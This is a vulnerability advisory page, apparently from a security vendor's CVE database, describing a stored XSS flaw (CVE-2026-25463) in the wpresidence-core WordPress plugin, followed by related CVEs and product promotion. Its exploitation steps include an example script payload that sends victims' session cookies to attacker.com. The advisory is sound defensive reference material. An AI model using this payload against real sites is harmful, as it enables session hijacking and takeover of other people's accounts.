CVE-2026-25463
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-25463 is a Stored Cross-Site Scripting (XSS) vulnerability in the WpEstate Wpresidence Core WordPress plugin. It affects all versions of the wpresidence-core plugin through 5.4.0 and is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The vulnerability was published on February 19, 2026, and carries a CVSS v3.1 base score of 6.5 (Medium) (Feedly).

Technical details

The vulnerability stems from insufficient sanitization and escaping of user-supplied input before it is stored and rendered in web pages, classified as CWE-79 (Stored XSS). An authenticated attacker with low privileges can inject malicious JavaScript payloads through vulnerable input fields in the plugin, which are then persistently stored and executed in the browsers of other users who view the affected content. Exploitation requires user interaction (e.g., an administrator or other user visiting the page containing the injected payload), and the scope is changed, meaning the impact can extend beyond the vulnerable component itself (Feedly).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of victims, or defacement of site content. Because the payload is stored server-side, every user who visits the affected page is at risk without any further attacker interaction. The changed scope means that even users with elevated privileges (e.g., administrators) could be targeted, potentially enabling full site compromise (Feedly).

Exploitability

The vulnerability requires low-privilege authentication to exploit, reducing but not eliminating the barrier to attack. No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been identified at this time. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. It does not appear in the CISA Known Exploited Vulnerabilities (KEV) catalog (Feedly).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the wpresidence-core plugin at version 5.4.0 or earlier using tools like WPScan or by inspecting plugin metadata in publicly accessible WordPress installations.
  2. Obtain low-privilege access: Register or log in as a low-privileged user (e.g., subscriber or contributor) on the target WordPress site.
  3. Identify vulnerable input field: Locate the plugin's input fields that are susceptible to stored XSS — typically within property listing forms, custom fields, or other plugin-specific content submission areas.
  4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/submit the content.
  5. Trigger execution: Wait for a privileged user (e.g., administrator) to visit the page containing the stored payload, causing the malicious script to execute in their browser and potentially exfiltrating session cookies or performing actions on their behalf (Feedly).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to plugin-specific endpoints (e.g., property submission or admin pages) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, etc.).
  • Database: Unexpected JavaScript or HTML script tags stored in the WordPress database within plugin-related tables (e.g., wp_postmeta or custom plugin tables).
  • Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages managed by the wpresidence-core plugin, potentially carrying cookie or session data.
  • File System: No direct file system artifacts expected for a stored XSS, but review plugin files for unauthorized modifications that may have been made post-exploitation.

Mitigation and workarounds

Users should update the wpresidence-core plugin to a version beyond 5.4.0 that includes a patch for this vulnerability. Until a patched version is available or applied, administrators should restrict plugin input fields to trusted users only and consider using a Web Application Firewall (WAF) with XSS filtering rules to detect and block malicious payloads. Monitoring WordPress user activity and reviewing stored content for unexpected script tags is also advisable (Feedly).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2024-13784CRITICAL9.8
  • arforms-form-builder
NoYesAug 16, 2026
CVE-2026-17087HIGH7.5
  • wp-travel-engine
NoYesAug 16, 2026
CVE-2026-2497HIGH7.2
  • gallery-plugin
NoYesAug 16, 2026
CVE-2026-17608MEDIUM6.5
  • wp-compress-image-optimizer
NoYesAug 16, 2026
CVE-2026-2357MEDIUM6.4
  • bold-page-builder
NoYesAug 16, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management